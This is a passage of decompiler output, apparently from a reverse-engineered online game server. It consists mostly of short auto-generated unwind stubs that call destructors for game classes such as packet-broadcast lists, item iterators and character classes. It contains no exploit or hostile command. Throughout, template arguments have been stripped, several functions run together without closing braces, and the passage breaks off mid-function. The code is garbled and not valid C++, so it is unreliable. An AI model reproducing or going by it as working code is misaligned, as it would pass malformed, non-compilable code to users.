44)); } //----- (0061A0D9) -------------------------------------------------------- void __usercall _L204839(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (0061A0E1) -------------------------------------------------------- void __usercall _L204840(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 100)); } //----- (0061A0E9) -------------------------------------------------------- void __usercall _L204841(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 128)); } //----- (0061A0F1) -------------------------------------------------------- void __usercall _L204842(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 156)); } //----- (0061A110) -------------------------------------------------------- void __usercall _L206624(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 772)); } //----- (0061A11B) -------------------------------------------------------- void __usercall _L206625(int a1) { ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument((ListIter_AmpCmdArgument *)(a1 - 768)); } //----- (0061A130) -------------------------------------------------------- void __usercall _L178180(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A150) -------------------------------------------------------- void __usercall _L177286(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0061A170) -------------------------------------------------------- void __usercall _L178017(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061A178) -------------------------------------------------------- void __usercall _L178019(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0061A190) -------------------------------------------------------- void __usercall _L176582(int a1) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 16)); } //----- (0061A1B0) -------------------------------------------------------- void __usercall _L176848(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A1D0) -------------------------------------------------------- void __usercall _L176547(int a1) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 20)); } //----- (0061A1D8) -------------------------------------------------------- void __usercall _L176548(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A1F0) -------------------------------------------------------- void __usercall _L191277(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061A210) -------------------------------------------------------- void __usercall _L192159(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A230) -------------------------------------------------------- void __usercall _L187946(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061A238) -------------------------------------------------------- void __usercall _L187947_0(int a1) { AxialListTargetInform::_AxialListTargetInform((AxialListTargetInform *)(a1 - 28)); } //----- (0061A250) -------------------------------------------------------- void __usercall _L188306(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0061A258) -------------------------------------------------------- void __usercall _L188307(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 80)); } //----- (0061A270) -------------------------------------------------------- void __usercall _L192203(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061A290) -------------------------------------------------------- void __usercall _L192825(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061A2B0) -------------------------------------------------------- void __usercall _L189666(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (0061A2D0) -------------------------------------------------------- void __usercall _L189703(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061A2F0) -------------------------------------------------------- void __usercall _L190223(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0061A310) -------------------------------------------------------- void __usercall _L190487(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (0061A31B) -------------------------------------------------------- void __usercall _L190488(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (0061A326) -------------------------------------------------------- void __usercall _L190489(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 180)); } //----- (0061A331) -------------------------------------------------------- void __usercall _L190490(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 180)); } //----- (0061A350) -------------------------------------------------------- void __usercall _L190999(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061A358) -------------------------------------------------------- void __usercall _L191000(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061A370) -------------------------------------------------------- void __usercall _L191794(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061A390) -------------------------------------------------------- void __usercall _L194301(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061A3D0) -------------------------------------------------------- void __usercall _L195122(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 + 8)); } //----- (0061A3F0) -------------------------------------------------------- void __usercall _L195374(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (0061A3F8) -------------------------------------------------------- void __usercall _L195375(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (0061A41B) -------------------------------------------------------- void __usercall _L195708(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 324)); } //----- (0061A426) -------------------------------------------------------- void __usercall _L195686(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0061A448) -------------------------------------------------------- void __usercall _L195987(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 28)); } //----- (0061A460) -------------------------------------------------------- void __usercall _L196188(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A468) -------------------------------------------------------- void __usercall _L196189(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 136)); } //----- (0061A473) -------------------------------------------------------- void __usercall _L196190(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 120)); } //----- (0061A4B0) -------------------------------------------------------- void __usercall _L196715(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0061A4BB) -------------------------------------------------------- void __usercall _L196716(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 128)); } //----- (0061A4D0) -------------------------------------------------------- void __usercall _L185515(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A4F0) -------------------------------------------------------- void __usercall _L182116(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061A510) -------------------------------------------------------- void __usercall _L179092(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061A518) -------------------------------------------------------- void __usercall _L179093(int a1) { AxialListTargetChange::_AxialListTargetChange((AxialListTargetChange *)(a1 - 24)); } //----- (0061A530) -------------------------------------------------------- void __usercall _L179707(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061A538) -------------------------------------------------------- void __usercall _L179708(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061A540) -------------------------------------------------------- void __usercall _L179709(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061A560) -------------------------------------------------------- void __usercall _L180456(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061A580) -------------------------------------------------------- void __usercall _L181288(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061A588) -------------------------------------------------------- void __usercall _L181289(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061A5A0) -------------------------------------------------------- void __usercall _L183312(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061A5D0) -------------------------------------------------------- void __usercall _L184047(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 128)); } //----- (0061A620) -------------------------------------------------------- void __usercall _L185546(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0061A660) -------------------------------------------------------- void __usercall _L185962(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 200)); } //----- (0061A66B) -------------------------------------------------------- void __usercall _L185963(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 88)); } //----- (0061A673) -------------------------------------------------------- void __usercall _L185964(int a1) { SkillEffectApply::SkillEffectEraser::_SkillEffectEraser((SkillEffectApply::SkillEffectEraser *)(a1 - 220)); } //----- (0061A690) -------------------------------------------------------- void __usercall _L76817(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061A6B0) -------------------------------------------------------- void __usercall _L77287(int a1) { BlockDistribute::BlockingDistribute::_BlockingDistribute((BlockDistribute::BlockingDistribute *)(a1 - 44)); } //----- (0061A6D0) -------------------------------------------------------- void __usercall _L190169(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 1004)); } //----- (0061A6DE) -------------------------------------------------------- void __usercall _L190170(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 2228)); } //----- (0061A6EC) -------------------------------------------------------- void __usercall _L190171(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 3452)); } //----- (0061A6FA) -------------------------------------------------------- void __usercall _L190172(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 4692)); } //----- (0061A720) -------------------------------------------------------- void __usercall _L190928(int a1) { IObserver::_IObserver(*(IObserver **)(a1 - 16)); } //----- (0061A740) -------------------------------------------------------- void __usercall _L201873(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A760) -------------------------------------------------------- void __usercall _L191696(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 228)); } //----- (0061A780) -------------------------------------------------------- void __usercall _L191833(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0061A788) -------------------------------------------------------- void __usercall _L191834(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (0061A790) -------------------------------------------------------- void __usercall _L191835(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0061A7B0) -------------------------------------------------------- void __usercall _L192570(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x17Cu, 30, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061A7D0) -------------------------------------------------------- void __usercall _L192675(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061A7D8) -------------------------------------------------------- void __usercall _L192676(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061A7F0) -------------------------------------------------------- void __usercall _L192809(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061A7F8) -------------------------------------------------------- void __usercall _L192810(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 20)); } //----- (0061A810) -------------------------------------------------------- void __usercall _L193017(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0061A81B) -------------------------------------------------------- void __usercall _L193018(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (0061A826) -------------------------------------------------------- void __usercall _L193019(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 168)); } //----- (0061A840) -------------------------------------------------------- void __usercall _L193381(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0061A860) -------------------------------------------------------- void __usercall _L193487(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061A868) -------------------------------------------------------- void __usercall _L193488(int a1) { AxialListGhostBan::_AxialListGhostBan((AxialListGhostBan *)(a1 - 36)); } //----- (0061A880) -------------------------------------------------------- int __cdecl _L194256() { int result; // eax@1 result = _local_static_guard_ & 0xFFFFFFFE; _local_static_guard_ &= 0xFFFFFFFEu; return result; } // 704C34: using guessed type int _local static guard_; //----- (0061A8A0) -------------------------------------------------------- void __usercall _L195176(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (0061A8AB) -------------------------------------------------------- void __usercall _L195177(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 144)); } //----- (0061A8C0) -------------------------------------------------------- void __usercall _L195919(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061A8E0) -------------------------------------------------------- void __usercall _L195975(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061A900) -------------------------------------------------------- void __usercall _L196001(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061A920) -------------------------------------------------------- void __usercall _L196214(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061A928) -------------------------------------------------------- void __usercall _L196231(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061A940) -------------------------------------------------------- void __usercall _L198731_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061A980) -------------------------------------------------------- void __usercall _L199705(int a1) { Observer::_Observer((Observer *)(a1 + 8)); } //----- (0061A988) -------------------------------------------------------- void __usercall _L199785(int a1) { IObserver::_IObserver((IObserver *)(a1 + 8)); } //----- (0061A9A0) -------------------------------------------------------- void __usercall _L200351_0(int a1) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 16)); } //----- (0061A9C0) -------------------------------------------------------- void __usercall _L201229(int a1) { AxialListCameraMove::_AxialListCameraMove((AxialListCameraMove *)(a1 - 44)); } //----- (0061A9E0) -------------------------------------------------------- void __usercall _L201467(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061A9E8) -------------------------------------------------------- void __usercall _L201468(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061A9F0) -------------------------------------------------------- void __usercall _L201469(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061A9F8) -------------------------------------------------------- void __usercall _L201633(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0061AA10) -------------------------------------------------------- void __usercall _L201906(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061AA18) -------------------------------------------------------- void __usercall _L202116(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (0061AA20) -------------------------------------------------------- void __usercall _L201908(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 28)); } //----- (0061AA40) -------------------------------------------------------- void __usercall _L162949(int a1) { RollBackPosCallBackEvent::_RollBackPosCallBackEvent(*(RollBackPosCallBackEvent **)(a1 - 16)); } //----- (0061AA60) -------------------------------------------------------- void __usercall _L181033(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061AA80) -------------------------------------------------------- void __usercall _L181123(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061AAA0) -------------------------------------------------------- void __usercall _L175644(int a1) { BitSet::_BitSet(*(BitSet **)(a1 - 16)); } //----- (0061AAC0) -------------------------------------------------------- void __usercall _L177230(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061AB10) -------------------------------------------------------- void __usercall _L178610(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061AB90) -------------------------------------------------------- void __usercall _L178841(int a1) { CharClassWizMage::_CharClassWizMage(*(CharClassAssassin **)(a1 - 16)); } //----- (0061AB98) -------------------------------------------------------- void __usercall _L178842(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 68404)); } //----- (0061ABA6) -------------------------------------------------------- void __usercall _L178843(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 136808)); } //----- (0061ABB4) -------------------------------------------------------- void __usercall _L178844(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 205212)); } //----- (0061ABC2) -------------------------------------------------------- void __usercall _L178845(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 273616)); } //----- (0061ABD0) -------------------------------------------------------- void __usercall _L178846(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 342020)); } //----- (0061ABDE) -------------------------------------------------------- void __usercall _L178847(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 410424)); } //----- (0061ABEC) -------------------------------------------------------- void __usercall _L178848(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 478828)); } //----- (0061ABFA) -------------------------------------------------------- void __usercall _L178849(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 547232)); } //----- (0061AC08) -------------------------------------------------------- void __usercall _L178850(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 615636)); } //----- (0061AC16) -------------------------------------------------------- void __usercall _L178851(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 684040)); } //----- (0061AC24) -------------------------------------------------------- void __usercall _L178852(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 752444)); } //----- (0061AC32) -------------------------------------------------------- void __usercall _L178853(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 820848)); } //----- (0061AC40) -------------------------------------------------------- void __usercall _L178854(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 889252)); } //----- (0061AC4E) -------------------------------------------------------- void __usercall _L178855(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 957656)); } //----- (0061AC5C) -------------------------------------------------------- void __usercall _L178856(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1026060)); } //----- (0061AC6A) -------------------------------------------------------- void __usercall _L178857(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1094464)); } //----- (0061AC78) -------------------------------------------------------- void __usercall _L178858(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1162868)); } //----- (0061AC86) -------------------------------------------------------- void __usercall _L178859(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1231272)); } //----- (0061AC94) -------------------------------------------------------- void __usercall _L178860(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1299676)); } //----- (0061ACA2) -------------------------------------------------------- void __usercall _L178861(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1368080)); } //----- (0061ACB0) -------------------------------------------------------- void __usercall _L178862(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1436484)); } //----- (0061ACBE) -------------------------------------------------------- void __usercall _L178863(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1504888)); } //----- (0061ACCC) -------------------------------------------------------- void __usercall _L178864(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1573292)); } //----- (0061ACDA) -------------------------------------------------------- void __usercall _L178865(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1641696)); } //----- (0061ACE8) -------------------------------------------------------- void __usercall _L178866(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1710100)); } //----- (0061AD00) -------------------------------------------------------- void __usercall _L179903(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 180)); } //----- (0061AD20) -------------------------------------------------------- void __usercall _L180006(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061AD40) -------------------------------------------------------- void __usercall _L188704(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061AD60) -------------------------------------------------------- void __usercall _L184897_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061AD80) -------------------------------------------------------- void __usercall _L185140_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061ADA0) -------------------------------------------------------- void __usercall _L185356_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0061ADC0) -------------------------------------------------------- void __usercall _L185557(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 444)); } //----- (0061ADCB) -------------------------------------------------------- unsigned int __cdecl _L185558() { unsigned int result; // eax@1 result = _S5_40 & 0xFFFFFFFE; _S5_40 &= 0xFFFFFFFEu; return result; } //----- (0061ADD9) -------------------------------------------------------- void __usercall _L185559(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061ADE4) -------------------------------------------------------- void __usercall _L185560(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 468)); } //----- (0061AE00) -------------------------------------------------------- void __usercall _L185754(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061AE08) -------------------------------------------------------- void __usercall _L185755(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 36)); } //----- (0061AE20) -------------------------------------------------------- void __usercall _L186326(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061AE40) -------------------------------------------------------- void __usercall _L186407(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061AE48) -------------------------------------------------------- void __usercall _L186434(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061AE60) -------------------------------------------------------- void __usercall _L186525(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061AE68) -------------------------------------------------------- void __usercall _L186538(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061AE80) -------------------------------------------------------- void __usercall _L187116(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061AEA0) -------------------------------------------------------- void __usercall _L176438(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061AEC0) -------------------------------------------------------- void __usercall _L176202(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 208)); } //----- (0061AECB) -------------------------------------------------------- void __usercall _L176204(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 176)); } //----- (0061AED6) -------------------------------------------------------- void __usercall _L176205(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 156)); } //----- (0061AEF0) -------------------------------------------------------- void __usercall _L178685(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061AF10) -------------------------------------------------------- void __usercall _L178864_0(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061AF30) -------------------------------------------------------- void __usercall _L178373(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (0061AF50) -------------------------------------------------------- void __usercall _L178621(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061AF70) -------------------------------------------------------- void __usercall _L178731(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061AF78) -------------------------------------------------------- void __usercall _L178732(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0061AF90) -------------------------------------------------------- void __usercall _L181391(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061AFB0) -------------------------------------------------------- void __usercall _L180859(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061AFB8) -------------------------------------------------------- void __usercall _L180860(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061AFD0) -------------------------------------------------------- void __usercall _L181069(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0061AFF0) -------------------------------------------------------- void __usercall _L175625(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B010) -------------------------------------------------------- void __usercall _L175715(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061B030) -------------------------------------------------------- void __usercall _L175934(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0061B03B) -------------------------------------------------------- void __usercall _L175935(int a1) { AxialListMobFind::_AxialListMobFind((AxialListMobFind *)(a1 - 168)); } //----- (0061B050) -------------------------------------------------------- void __usercall _L176042(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061B070) -------------------------------------------------------- void __usercall _L181954(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061B090) -------------------------------------------------------- void __usercall _L183142(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B0B0) -------------------------------------------------------- void __usercall _L180746(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0061B0D0) -------------------------------------------------------- void __usercall _L181220(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061B0D8) -------------------------------------------------------- void __usercall _L181221(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0061B0F0) -------------------------------------------------------- void __usercall _L182338(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B110) -------------------------------------------------------- void __usercall _L182825(int a1) { 